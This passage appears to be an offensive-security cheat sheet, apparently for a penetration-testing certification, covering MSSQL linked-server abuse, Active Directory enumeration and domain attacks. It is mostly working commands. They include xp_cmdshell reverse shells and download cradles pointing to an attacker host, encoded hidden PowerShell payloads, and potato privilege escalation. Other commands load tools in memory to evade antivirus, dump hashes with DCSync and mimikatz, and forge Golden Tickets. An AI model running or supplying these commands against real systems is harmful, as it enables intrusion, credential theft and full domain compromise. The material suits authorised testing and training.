xp_cmdshell "powershell.exe iwr -uri http://[ATTACKER_IP]/nc64.exe -o c:\windows\tasks\nc64.exe"
xp_cmdshell "c:\windows\tasks\nc64.exe [ATTACKER_IP] [PORT] -e cmd.exe"
- Repeat the process to get access to another linked server
echo -en 'IEX ((new-object net.webclient).downloadstring("http://[ATTACKER_IP]/runner64.txt"))' | iconv -t UTF-16LE | base64 -w 0
EXEC ('xp_cmdshell ''powershell -w hidden -enc SQBF...ACkA'' ') AT [TARGET_LINKED_SERVER]
Privilege Escalation
Impersonation
PowerUpSQL
Invoke-SQLAudit -Verbose -Instance DC01
# Individual check for who we can impersonate
Invoke-SQLAuditPrivImpersonateLogin -Verbose -Instance DC01
# Rerun and escalate
Invoke-SQLAuditPrivImpersonateLogin -Verbose -Instance DC01 -Exploit
SQLRecon
# Enumerate who we can impesonate
.\SQLRecon.exe /a:WinToken /h:DC01 /m:impersonate
# Impersonate target user. (must be combined with a module)
.\SQLRecon.exe /a:WinToken /h:DC01 /m:impersonate /i:sa /m:whoami
.\SQLRecon.exe /a:WinToken /h:DC01 /m:impersonate /i:sa /m:enablexp
.\SQLRecon.exe /a:WinToken /h:DC01 /m:impersonate /i:sa /m:xpcmd /c:"whoami /all"
Code Execution
PowerUpSQL
# xp_cmdshell
Invoke-SQLOSCmd -Verbose -Command "whoami" -Instance DC01 -RawResults
# CLR
Invoke-SQLOSCmdCLR -Verbose -Command "powershell.exe get-process" -Instance DC01 -RawResults
# OLE
Invoke-SQLOSCmdOle -Verbose -Command "powershell.exe -c whoami" -Instance DC01 -RawResults
MSSQLClient
mssqlclient.py -dc-ip [DC_IP] [DOMAIN].com/[USERNAME]:[PASSWORD]@[TARGET_SERVER] -windows-auth
# Enable xp_cmdshell
enable_xp_cmdshell
# Execute Commands
xp_cmdshell whoami /all
xp_cmdshell powershell.exe -c get-process
SQLRecon
# Enable xp_cmdshell and execute
.\SQLRecon.exe /a:WinToken /h:DC01 /m:enablexp
.\SQLRecon.exe /a:WinToken /h:DC01 /m:xpcmd /c:"whoami /all"
# Enable OLE and execute commands (No console output)
.\SQLRecon.exe /a:WinToken /h:DC01 /m:enableole
.\SQLRecon.exe /a:WinToken /h:DC01 /m:olecmd /c:"powershell.exe -c iex (iwr -usebasicparsing http://[ATTACKER_IP]/met.ps1)"
Code Execution through CLR
When using shellcode runner / injection. Ensure to use techniques that create a seperate thread or execute in a new process otherwise it can cause issues when running a cleanup routine as the process hangs. When using shellcode execution techniques through this method it is important to be aware of a few things.
- If using process injection we need to inject into a process the account we are impersonating has permissions to
- For example, if running under SA we cant inject into
explorer.exeas the asscoiated account "SQL Telementry Service" would not have one - We can instead inject into something like
sqlceip.exe.
Otherwise for reliability the following techniques are more reliable:
- Shellcode runners
- Process Hollowing
SQLRecon
.NET Library template for visual studio when performing CLR assembly execution
# Enable CLR first
.\SQLRecon.exe /a:WinToken /h:DC01 /impersonate /i:sa /m:enableclr
# Execute .NET DLL
.\SQLRecon.exe /a:WinToken /h:DC01 /m:impersonate /i:sa /m:clr /dll:"C:\temp\Warhead.dll" /function:Main
.\SQLRecon.exe /a:WinToken /h:DC01 /m:impersonate /i:sa /m:clr /dll:"https://[ATTACKER_IP]/Warhead.dll" /function:Main
MSSQL Service Account to SYSTEM
MSSQL service accounts are often configured with privileges that may allow privilege escalation to system. For example, the SeImpersonation privilege can often be abused by various potato based exploits to elevate to the local system account.
# Using DeadPotato (Command Execution)
# https://github.com/lypd0/DeadPotato/releases
.\SQLRecon.exe /h:sql01.corp.com /a:wintoken /m:xpcmd /c:"powershell.exe -c iex (iwr -usebasicparsing http://[ATTACKER_IP]/Binaries/DeadPotato.exe -Outfile c:\windows\temp\o.exe); c:\windows\temp\o.exe -cmd whoami"
# Using Amnesiac (Obtain Reverse Shell)
# https://github.com/Leo4j/Amnesiac
.\SQLRecon.exe /h:sql01.corp.com /a:wintoken /m:xpcmd /c:"powershell.exe -c iex (iwr -usebasicparsing http://[ATTACKER_IP]/Binaries/DeadPotato.exe -Outfile c:\windows\temp\o.exe); c:\windows\temp\o.exe -cmd powershell.exe -NoLogo -NonInteractive -ep bypass -WindowS Hidden -enc JABzAGQAPQBOAG"
MSSQLPwner (Easy mode)
# Identify chains of escalation / execution
mssqlpwner -hashes ':9650a1367d69a0b4bd5c85823d48e478' 'domain.local/Computer01$'@172.16.122.223 -windows-auth interactive
# Identify chain to use for execution / escalation
MSSqlPwner#DB01 (domain.local\Computer01$@master/guest)> get-chain-list
[*] Chosen linked server: DB01
[*] Chain list:
[*] 3f163798-405a-4a51-a159-084aa944489a - DB01 (domain.local\Computer01$@master/guest) (domain.local\Computer01$ guest@master)
[*] d90e42d7-bac2-4930-9c2b-f435a96fdc3c - DB01 (domain.local\Computer01$>I:dev_int@master/guest) (dev_int guest@master)
[*] dfd60140-6176-4db3-aba3-91fb032abe26 - DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) (dev_lab guest@master)
[*] 7473c5de-643a-400c-a2c8-487cf094745b - DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) -> DB01 (sa@master/dbo) (sa dbo@master)
[*] ccfa50ce-2801-4028-a285-7cf20d7e5a4a - DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) -> DB01 (sa>I:DB01\Administrator@master/dbo)
[*] eeca6fe8-d5eb-4103-8667-f3a6e47f9a95 - DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) -> DB01 (sa@master/dbo) -> DB02 (sa@master/dbo) (sa dbo@master)
[*] 89bb3d7f-21f0-4630-a567-4699263ac544 - DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) -> DB01 (sa@master/dbo) -> DB02 (sa>I:wordpress@master/dbo)
[*] e9db0f51-d9fa-436a-9c3f-30c9e31276e2 - DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) -> DB01 (sa@master/dbo)
# Set chain by ID
set-chain 7473c5de-643a-400c-a2c8-487cf094745b
# Execute commands
MSSqlPwner#DB01 (domain.local\Computer01$>I:dev_int@master/guest) -> DB02 (dev_lab@master/guest) -> DB01 (sa>I:DB01\Administrator@master/dbo)> exec "powershell.exe -c get-process"
[*] Result: (Key: output) NULL
[*] Result: (Key: output) Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
[*] Result: (Key: output) ------- ------ ----- ----- ------ -- -- -----------
[*] Result: (Key: output) 74 5 3268 3700 0.02 2008 0 cmd
[*] Result: (Key: output) 135 8 6520 11256 0.02 4968 0 conhost
[*] Result: (Key: output) 493 18 2140 5372 384 0 csrss
[*] Result: (Key: output) 166 13 1632 4860 484 1 csrss
[*] Result: (Key: output) 256 14 3948 13676 2776 0 dllhost
[*] Result: (Key: output) 544 22 24016 49024 908 1 dwm
[*] Result: (Key: output) 48 6 1664 4832 736 1 fontdrvhost
[*] Result: (Key: output) 48 6 1520 4616 744 0 fontdrvhost
[*] Result: (Key: output) 0 0 56 8 0 0 Idle ```
#### MSSQL Summary
- **Instance**
```powershell
get-sqlinstancelocal
get-sqlinstancedomain
Get-SQLConnectionTest -Instance "srv-1.red.com,1433"
- Server Info
get-sqlserverinfo -instance "redsql\sqlexpress"
# Password/Hash Reuse - Similar machines could share the same password/hash, for example SQL01 and SQL02, or SQL01 and File01
- Privilege Enumeration
# Sysadmin logins/users
Get-SQLQuery -Instance 'red.com,1433' -query "select name from master..syslogins where sysadmin=1;"
# User/Login can be impersonated
Get-SQLQuery -Instance 'red.com,1433' -query "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"
- Linked Servers
# Not all users can see all links
select * from master..sysservers; (SQL Query)
exec sp_linkedservers; (SQL Query)
get-sqlserverlinkcrawl -instance "cywebdw\sqlexpress" -username webapp11 -password 89543dfGDFGH4d (PowerUpSQL Query)
get-sqlquery -instance "CYWEBDW\SQLEXPRESS" -query "select * from openquery(""m3sqlw.red.local"",'select * from master..sysservers')" (PowerUpSQL Open Query)
- Value of
xp_cmdshell
select * from sys.configurations where name='xp_cmdshell' (SQL Query)
get-sqlquery -instance "CYWEBDW\SQLEXPRESS" -query "select * from sys.configurations where name ='xp_cmdshell'" (PowerUpSQL Query)
get-sqlquery -instance "CYWEBDW\SQLEXPRESS" -query "select * from openquery (""m3sqlw.red.local"",'select * from sys.configurations where name=''xp_cmdshell''')" (PowerUpSQL OpenQuery)
- Enable
xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
exec xp_cmdshell 'whoami'; (SQL Query)
get-sqlquery -instance "CYWEBDW\SQLEXPRESS" -query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;EXEC master.dbo.xp_cmdshell 'whoami';" (PowerUpSQL Query)
get-sqlquery -instance "web06\sqlexpress" -query "exec ('sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure;') AT sql03; exec('xp_cmdshell ''hostname'';') at SQL03" -username sa -password Passw0rd (1 hop PowerUpSQL Query)
Get xp_cmdshell Meterpreter Shell
echo -en 'IEX ((new-object net.webclient).downloadstring("http://10.10.14.111/runner64.txt"))' | iconv -t UTF-16LE | base64 -w 0 (Encode Payload)
exec xp_cmdshell 'powershell -w hidden -enc <...>' (SQL Query)
Invoke-SQLOSCmd -Instance "CYWEBDW\SQLEXPRESS" -Command "powershell -w hidden -enc <...> " -RawResults (PowerUpSQL Query 1)
get-sqlquery -instance "CYWEBDW\SQLEXPRESS" -query "EXEC('xp_cmdshell ''powershell -w hidden -enc <...> '' ; ' ) " (PowerUpSQL Query 2)
get-sqlquery -instance "CYWEBDW\SQLEXPRESS" -query "EXEC('xp_cmdshell ''powershell -w hidden -enc <...> '' ; ' )AT [m3sqlw.red.local]" (1 hop PowerUpSQL query)
- Enable RPCout
execute as login='sa'; exec sp_serveroption 'sql03', 'rpc out', 'true'; (SQL Query)
get-sqlquery -instance "cywebdb\sqlexpress" -query "execute as login ='sa'; exec sp_serveroption 'm3sqlw.red.local', 'rpc out', 'true'" (PowerUpSQL Query)
get-sqlquery -instance "cywebdb\sqlexpress" -query "execute as login ='sa'; exec (sp_serveroption 'm3sqlw.red.local', 'rpc out', 'true') at [m3sqlw.red.local]" (PowerUpSQL Open Query)
AD Enumeration
BloodHound & SharpHound
BloodHound is a tool for Active Directory (AD) enumeration and privilege escalation, designed to help visualize AD relationships and identify paths for lateral movement and privilege escalation.
Troublehooting Issues If you have a mismatch version run the following
sudo -u postgres psql -d template1 -c "ALTER DATABASE template1 REFRESH COLLATION VERSION;"
sudo -u postgres psql -d postgres -c "ALTER DATABASE postgres REFRESH COLLATION VERSION;"
sudo bloodhound-setup
Resources:
Directly Loading into Memory for AV Evasion
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
Steps:
- Download and Transfer SharpHound:
# Download the PowerShell version of SharpHound
Invoke-WebRequest -Uri "http://[attacker_ip]/sharphound.ps1" -OutFile "C:\Temp\sharphound.ps1"
# Alternatively, you can download the .exe version
Invoke-WebRequest -Uri "http://[attacker_ip]/sharphound.exe" -OutFile "C:\Temp\sharphound.exe"
- Running SharpHound
- Find your Domain Name:
# Find your domain name
nltest /dclist:domainname
or
Get-ADDomainController -Discover
# Run SharpHound to collect domain data (using the .exe)
.\SharpHound.exe -c All
or
.\SharpHound.exe -c All -d <domain> -u <username> -p <password> -f AllData
# Example
.\SharpHound.exe --CollectionMethod All,GPOLocalGroup,LoggedOn --domain dev.final.com --ldapusername nina --ldappassword 'PasswordRulon123!'
- Using the PowerShell Script:
# Import the SharpHound script into memory
Import-Module .\SharpHound.ps1
# Collect all data from the domain
Invoke-BloodHound -CollectionMethod All -Domain <domain> -OutputDirectory C:\Temp
- Collect Specific Methods: run only specific collection tasks instead of
Allto limit the data gathered.
Invoke-BloodHound -CollectionMethod Group
Invoke-BloodHound -CollectionMethod ACL
- Transfer Collected Data to Kali: once SharpHound finishes collecting, transfer the output
.zipfile fromC:\Tempback to your Kali machine. You can use one of the methods below or check Section 15 for additional transfer methods.
# Having an Evil-WinRM session
download [bloodhound_file].zip
# SCP from the victim to your Kali
scp user@victim-ip:C:\Temp\*.zip /path/to/your/dir
# Download via a web server
Invoke-WebRequest -Uri "http://your-kali-ip/upload/path" -OutFile "C:\Temp\*.zip"
- Running BloodHound on Kali: access the Neo4j interface at
https://localhost:7474and log in with default credentialsneo4j:neo4jorneo4j:Neo4j.
# Start the Neo4j service in Kali (needed for analyzing the collected data):
sudo neo4j start
- Start BloodHound:
bloodhound
-
Import the .zip files collected from the victim machine into BloodHound for analysis.
-
Analyze the domain data:
- Use queries like Find all Domain Admins or Find Shortest Paths to Domain Admins.
- Find computers vulnerable to Unconstrained Delegation.
- Mark nodes as owned to find potential escalation paths.
- Set Node Label Display to Always Display in the settings for better visibility.
- Identify Kerberoastable accounts.
- Find potential GPOs to abuse: if BloodHound indicates that a user or group has
WriteGPO,OwnsGPO, orGPO controlover a GPO linked to important OUs (especially those affecting privileged accounts), this is a strong indicator to use SharpGPOAbuse to escalate privileges or perform lateral movement.
-
Manual Commands:
- Format for cypher:
(NODES)-[:RELATIONSHIP]->(NODES) - All computers in domain:
MATCH (m:Computer) RETURN m - All Users in domain:
MATCH (m:User) RETURN m - Get active sessions:
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p - Enumerate users with
SQLAdmin:MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2 - Enumerate users with
CanPSRemote:MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
- Format for cypher:
LDAP
Nmap Scripting Scan
nmap -n -sV --script "ldap* and not brute" <target_ip>
Ldapsearch
- Basic LDAP Enumeration
ldapsearch -x -h <DOMAIN_IP> -s base
- Enumerate Domain Users (With Credentials)
ldapsearch -x -h <DOMAIN_IP> -D "<VALID_USERNAME>@[domain].com" -w <VALID_PASSWORD> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
- Enumerate Computers in Domain
ldapsearch -x -h <DOMAIN_IP> -D "<VALID_USERNAME>@[domain].com" -w <VALID_PASSWORD> -b "DC=domain,DC=local" "(objectClass=computer)" name
- Dump Entire LDAP Structure
ldapsearch -x -h <DOMAIN_IP> -D "<VALID_USERNAME>@[domain].com" -w <VALID_PASSWORD> -b "DC=domain,DC=local"
- More Commands
# Basic LDAP query
ldapsearch -x -H ldap://<target_ip>
# Basic LDAP Search for a base-level
ldapsearch -h <target_ip> -x -s base
# Get Naming Contexts
ldapsearch -x -H ldap://<target_ip> -s base namingcontexts
# Search in a Specific Base Domain Name
ldapsearch -x -H ldap://<target_ip> -b "DC=<domain>,DC=<tld>"
# Enumerate users using LDAP
ldapsearch -v -x -b "DC=<domain>,DC=<tld>" -H "ldap://<target_ip>" "(objectclass=*)"
# Retrieve users Account Name
ldapsearch -v -x -b "DC=<domain>,DC=<tld>" -H "ldap://<target_ip>" "(objectclass*)" | grep sAMAccountName:
# Search with Filters
ldapsearch -x -H ldap://<target_ip> -b "DC=<domain>,DC=<tld>" "(objectclass=user)"
ldapsearch -x -H ldap://<target_ip> -b "DC=<domain>,DC=<tld>" "(objectclass=group)"
# Searching with authentication
ldapsearch -h <target_ip> -x -D '<domain>\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>"
# Searching terms
ldapsearch -H ldap://<target_ip> -x -D '<domain>\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>" "[term]"
# Specifies the value term to return
ldapsearch -H ldap://<target_ip> -x -D '<domain>\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>" "<term>" <additionalTerm>
Useful Search Terms
# Search Terms to Find Cleartext Passwords
# Search for ms-MCS-AdmPwd (local administrator passwords)
(ms-MCS-AdmPwd=*)
# Search for attributes containing 'password' in description
(description=*password*)
# Search for LAPS expiration time (to identify potential password management)
(ms-MCS-AdmPwdExpirationTime=*)
# Search for common weak passwords in attributes like description
(description=*(123456*|password*|qwerty*|letmein*))
# General LDAP Search Filters
# Search for All Users
(objectClass=user)
# Search for All Computers
(objectClass=computer)
# Search for All Groups
(objectClass=group)
# Search for Disabled Accounts
(userAccountControl:1.2.840.113556.1.4.803:=2)
# Search for Expired Accounts
(& (objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2)(!(pwdLastSet=0)))
# Search for Specific Group Membership
(&(objectClass=user)(memberOf=CN=GroupName,OU=Groups,DC=domain,DC=com))
# Search for Users with Specific Attributes
# For users with a specific email domain
(mail=*@example.com)
# For users with a specific title
(title=Manager)
# Specific Attributes
# Search for Password Last Set
(pwdLastSet=*)
# Search for Accounts with Expired Passwords
(& (objectClass=user)(pwdLastSet<=0))
# Search for Accounts in a Specific Organizational Unit (OU)
(distinguishedName=*,OU=Sales,DC=domain,DC=com)
# Security-Related Searches
# Search for Accounts with Kerberos Pre-Authentication Disabled
(userAccountControl:1.2.840.113556.1.4.803:=4194304)
# Search for Service Principal Names (SPNs)
(servicePrincipalName=*)
# Search for Delegated Users
(msDS-AllowedToDelegateTo=*)
# Search for Accounts with Privileges
(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com)
# Other Useful Searches
# Search for All Organizational Units
(objectClass=organizationalUnit)
# Search for Active Directory Certificate Services
(objectClass=cACertificate)
# Search for All Attributes of a Specific User
(sAMAccountName=username)
# Search for Accounts with Specific Notes or Descriptions
(description=*keyword*)
# Search for all objects in the directory
(objectClass=*)
# Search for service accounts
(objectCategory=serviceAccount)
# Search for accounts with specific group memberships (replace 'GroupName')
(memberOf=CN=GroupName,OU=Groups,DC=domain,DC=com)
# Search for computer accounts
(objectClass=computer)
# Search for users in a specific organizational unit (replace 'OU=Users')
(ou=OU=Users,DC=domain,DC=com)
# Search for all accounts with specific attributes
(pwdLastSet=0)
Domain Enumeration
From Linux
Bloodhound
proxychains bloodhound-python -c ALL -u kevin -p 'Passw0rd' -d red.com -dc dc.red.com -ns [DC_IP] --dns-tcp
proxychains bloodhound-python3 -c ALL -u 'WEB05$@RED.COM' --hashes 00000000000000000000000000000000:d66f37fd3d677522959e5b4aeecafb78 -d COMPLYEDGE.COM -ns 172.16.76.168 --dns-tcp (Extract NTLM from /etc/krb5cc.keytab)
SMB Access
smbmap -H [IP] -u kevin -p Passw0rd
netexec smb [IP]
WinRM Access
netexec winrm [IP] -u kevin -p 'Password'
Users Information
# With Impacket - Having avlid ticket in memory
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip [DC_IP] red.com/Administrator
# With RPCClient
proxychains rpcclient -U red.com/kevin.gustavo%Passw0rd [DC_IP]
> enumdomusers
> queryuser 0x3601
Groups Information
# With RPCClient
proxychains rpcclient -U red.com/kevin.gustavo%Passw0rd [DC_IP]
> enumdomgroups
> querygroup 0x200
ASREPRoasting
python3 impacket/example/GetUserSPNs.py red.com/ -no-pass -dc-ip [DC_IP] -userfile users.txt /fomat:hashcat
Kerberoasting
Theory: extract and crack service tickets to gain access to service accounts.
Steps
- Extract all service tickets for offline cracking
impacket-GetUserSPNs -dc-ip <dc_ip> -outputfile <tickets_file> <domain>/<username>:<password>
or
GetUserSPNs.py <domain>/<username>:<password> -dc-ip <dc-ip>
- Crack the hashes, or do a pass-the-hash attack if possible
hashcat -m 13100 <tickets_file> <wordlist>
Overpass the Hash/PTK
python3 impacket/example/getTGT.py red.com/kevin:Passw0rd
Reset AD Password
# Using RPCClient
setuserinfo2 lawrencecohen 23 'Passw0rd'
From Windows
GPO
Check GPOs which enable group of users to have remote access (PsExec, WMI, WinRM, RDP, etc) to specific hosts.
Kerberoasting
rubeus.exe kerberoast /user:svc_sql /nowrap
ASREPRoasting
rubeus.exe asreproast /format:hashcat /user:svc_sql /nowrap
Internal Web Service
- What to Target?: Any computer/users' name contain "web", "svc", etc.
- Access: If it is not accessible directly, use SOCKS to access it.
- How to Get Access?:
- Send a phishing email
- Send a document
- Execute command
- Ping a host
- DevOps
Unconstrained Delegation
rubeus.exe monitor /interval:1 /filtuser:reddc$ /nowrap
Spoolsample.exe reddc redsqlw
rubeus.exe ptt /ticket:[ticket]
mimikatz # lsadump::dcsync /domain:red.com /user:RED\administrator
Constrained Delegation
rubeus.exe tgtdeleg /nowrap
rubeus.exe s4u /impersonate:kevin /user:svc_sql /domain:red.local /msdsspn:time/redwebaw.red.com /altservice:cifs,host,http,winrm /ticket:[ticket] /dc:reddc.red.com /ptt
Resource Based Constrained Delegation
ipmo .\powermad.ps1
New-MachineAccount -MachineAccount my -Password $(ConvertTo-SecureString '123' -AsPlainText -Force)
ipmo .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer red09 -PrincipalsAllowedToDelegateToAccount my$ -Server [DC IP] -Verbose
rubeus.exe s4u /user:my$ /rc4:…… /impersonateuser:administrator /msdsspn:CIFS/red09.red.com /ptt
AD Attacking
Unconstrained Delegation
Theory Unconstrained delegation in Active Directory allows a service to impersonate any user that authenticates to it and reuse their Kerberos Ticket Granting Ticket (TGT) to access other services. So what we want is to either steal another user's ticket or get enough information to craft our own tickets.
- Check if the computer has Unconstrained Delegation
Get-DomainComputer -Unconstrained
Option 1: We Need to Force Authentication for Other Users with SpoolSample
- Check if the pipe for print spooler is working, it is required for the attack
dir \\[DOMAIN_SERVER]\pipe\spoolss
- Use Rubeus to monitor for TGT
Rubeus.exe monitor /interval:1 /nowrap
- In other shell instance, trigger the authentication request with
SpoolSample.exe
SpoolSample.exe [TARGET_USER_OR_SERVER] [OUR_COMPROMISED_SERVER_RUNNING_RUBEUS]
- If the attack was successful in the Rubeus console we should see the Forwardable TGT in a Base64 format, now we need to inject that ticket to memory
Rubeus.exe ptt /ticket:[BASE64_TGT]...
# Verify that it was injected correctly
klist
- Now perform actions on objective. For example if the user has domain replication permissions we can perform a
DCSync and get the hashes of any AD account, or get the
krbtgt NTLMhash and craft Golden Tickets to access any resource we want, create a Golden Ticket is usually a very good move.
Option 2: Ticket is Already in Memory
- Export the ticket(s)
mimikatz # sekurlsa::tickets /export
- Inject new ticket into memory
kerberos::ptt [ticket].kirbi
- Access privileged resource
dir \\[TARGET_SERVER]\C$
or
whoami /groups
or
C:\Tools\SysinternalsSuite\PsExec.exe \\[TARGET_SERVER] cmd
or
Enter-PSSession -ComputerName [COMPUTER_NAME]
DC Sync
The DC Sync attack involves mimicking a Domain Controller (DC) to request credentials from another DC, effectively obtaining password hashes (including KRBTGT, Admins) without triggering alarms.
How it works:
- Permissions: The attacker needs to have the Replicating Directory Changes or Replicating Directory Changes All permissions, which are often granted to Domain Admins and other high-privilege accounts.
- Replication Request: By sending a replication request, the attacker can pull user account data, including password hashes, directly from a Domain Controller.
- Credential Theft: Once the attacker obtains these hashes, they can use them for further attacks (like Pass-the-Hash or Pass-the-Ticket) or crack them to obtain plaintext passwords.
Steps:
- Check if your have the permissions, usually we need the
DS-Replication-Get-ChangesandDS-Replication-Get-Changes-All, these permissions are usually granted toDomain AdminsorEnterprise Admins
Get-ADGroupMember -Identity "Domain Admins"
or
Get-ADGroupMember -Identity "Enterprise Admins"
# Alternative to check if you have them
Import-Module ActiveDirectory
$domainDN = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:$domainDN").Access |
Where-Object { $_.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight } |
Select-Object IdentityReference, ActiveDirectoryRights, ObjectType, InheritanceType
# Second alternatively check
dsacls "DC=[DOMAIN],DC=com" > domain_acl.txt
findstr /I "Replicating Directory Changes" domain_acl.txt
findstr /I "Replicating Directory Changes All" domain_acl.txt
- Perform DC Sync fom Windows
# From Windows
# Extract all hashes
mimikatz # lsadump::dcsync /domain:[domain.com]
# Extract a specific user hash
mimikatz # lsadump::dcsync /domain:[domain.com] /user:[targetUser]
mimikatz # lsadump::dcsync /domain:[domain.com] /user:krbtgt
# You can redirect output to a file for analysis:
mimikatz # lsadump::dcsync /domain:domain.com > output.txt
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:[domain.com] /all /csv" "exit"
- (Optional) Perform the DC Sync attack from Kali, inc ase we have credentials
# Extract all hashes
impacket-secretsdump [DOMAIN]/[USERNAME]:"[PASSWORD]"@[DC_IP]
# Extract a specific user hash
impacket-secretsdump -just-dc-user [TARGET_USER] [DOMAIN]/[USERNAME]:"[PASSWORD]"@[DC_IP]
- Perform Actions on Objective, now you can try to crack the hashes or perform pass-the-hash attacks and try to loging to the server with these hashes or try to create Silver or Golden Tickets, this is now up to you, below is just an example to try to crack the hash
# Crack NTLM Hash
hashcat -m 1000 [HASH_FILE].txt /usr/share/wordlists/rockyou.txt
Golden Tickets
Golden Tickets are forged Ticket-Granting Tickets (TGT) that allow attackers to impersonate any user, including Domain Admins, by creating a TGT valid for the entire domain. Golden Tickets are one of the most powerful attacks as they grant persistent, high-level access.
How it works:
- The attacker dumps the KRBTGT account hash (using tools like
Mimikatz). - Using this hash, they can create a forged TGT for any user.
- The forged TGT can be used to authenticate as any user across the domain, including Domain Admins.
Steps
- Find the Domain SID, if you have already deployed Bloodhound then there should be available
(Get-ADDomain).DomainSID
- Find the
krbtgtNTLM hash
mimikatz # lsadump::dcsync /domain:[domain.com] /user:krbtgt
- Find the RID; note that the RID for the Administrator account is 500, but other accounts will
have different RIDs. If the Administrator is your target just use
/id:500but for other types of accounts you will need to find this
(New-Object System.Security.Principal.NTAccount('[DOMAIN]\[ACCOUNT]')).Translate([System.Security.Principal.SecurityIdentifier]).Value
- Craft the Golden Ticket
# For Administrator account
mimikatz # kerberos::golden /user:Administrator /domain:[DOMAIN].com /sid:[DOMAIN_SID] /krbtgt:[KRBTGT_NTLM_HASH] /id:500
# For other types of accounts
mimikatz # kerberos::golden /user:[TARGET_USER] /domain:[DOMAIN].com /sid:[DOMAIN_SID] /krbtgt:[[KRBTGT_NTLM_HASH] /id:[ACCOUNT_TYPE_RID]
- Inject the created ticket
mimikatz # kerberos::ptt "C:\path\to\golden_ticket.kirbi"
# Confirm the existence of the ticket
klist
- Now access resources as if you are this user, below are just a few examples
dir \\[TARGET_SERVER]\C$
or
whoami /groups
or
PsExec.exe \\[TARGET_SERVER] cmd
or
Enter-PSSession -ComputerName [COMPUTER_NAME]
LAPS
- Check LAPS
Import-Module powerview.ps1
get-netcomputer -Filter "(ms-mcs-admpwdexpirationtime=*)" | select dnshostname
- Read Password
Import-Module powerview.ps1
get-netcomputer -Filter "(ms-mcs-admpwd=*)" | select dnshostname,ms-mcs-admpwd
ms-mcs-admpwd attribute
# Powerview
# Find instances of ms-mcs-admpwd where it is not empty, Requires permission to view the ms-mcs-admpwd attribute.
Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd
Get-DomainComputer | Select-Object 'dnshostname','ms-mcs-admpwd' | Where-Object {$_."ms-mcs-admpwd" -ne $null}
# Find instances where the expiration time is not empty, any user can read this so handy for checking if LAPS is installed on host
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
# PowerShell
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
# Native
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { Write-Host "" ; $_.properties.cn ; $_.properties.'ms-mcs-admpwd'}
- Check if LAPS is installed Locally
# Identify if installed to Program Files
Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'
dir 'C:\Program Files\LAPS\CSE\'
dir 'C:\Program Files (x86)\LAPS\CSE\'
# Identify if installed by checking the AD Object
Get-ADObject 'CN=ms-mcs-admpwd,CN=Schema,CN=Configuration,DC=DC01,DC=Security,CN=Local'
- Enumerate GPO's that have "LAPS" in the name
# PowerView
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
Get-DomainGPO | ? { $_.DisplayName -like "*password solution*" } | select DisplayName, Name, GPCFileSysPath | fl
- Enumerate Principals that can read the password on select systems
# PowerView
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object { $_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier); $_ }
Utilities
Flags
Find Flags Location
# Windows
Get-ChildItem -Path C:\Users\ -Include local.txt,proof.txt,secret.txt -File -Recurse -ErrorAction SilentlyContinue
# Linux
find / -type f -name "local.txt" -or -name "proof.txt" -or -name "secret.txt" 2>/dev/null
Retrieve Flags Correctly: flags must be retrieved using an interactive remote shell, webshells or RDP sessions are not valid.
# Windows
type proof.txt; ipconfig
# Linux
cat proof.txt && ip a
Encode PowerShell Payloads
echo -en '[payload]' | iconv -t UTF-16LE | base64 -w 0
Downgrade to Local User
This is useful if we have an elevated Administrator account but we need to execute things in the context of the AD because this Administrator is outside of the domain.
# FROM A CMD.EXE prompt
.\PsExec64.exe -accepteula -s -i cmd.exe
PowerView (AV Evasion)
Steps
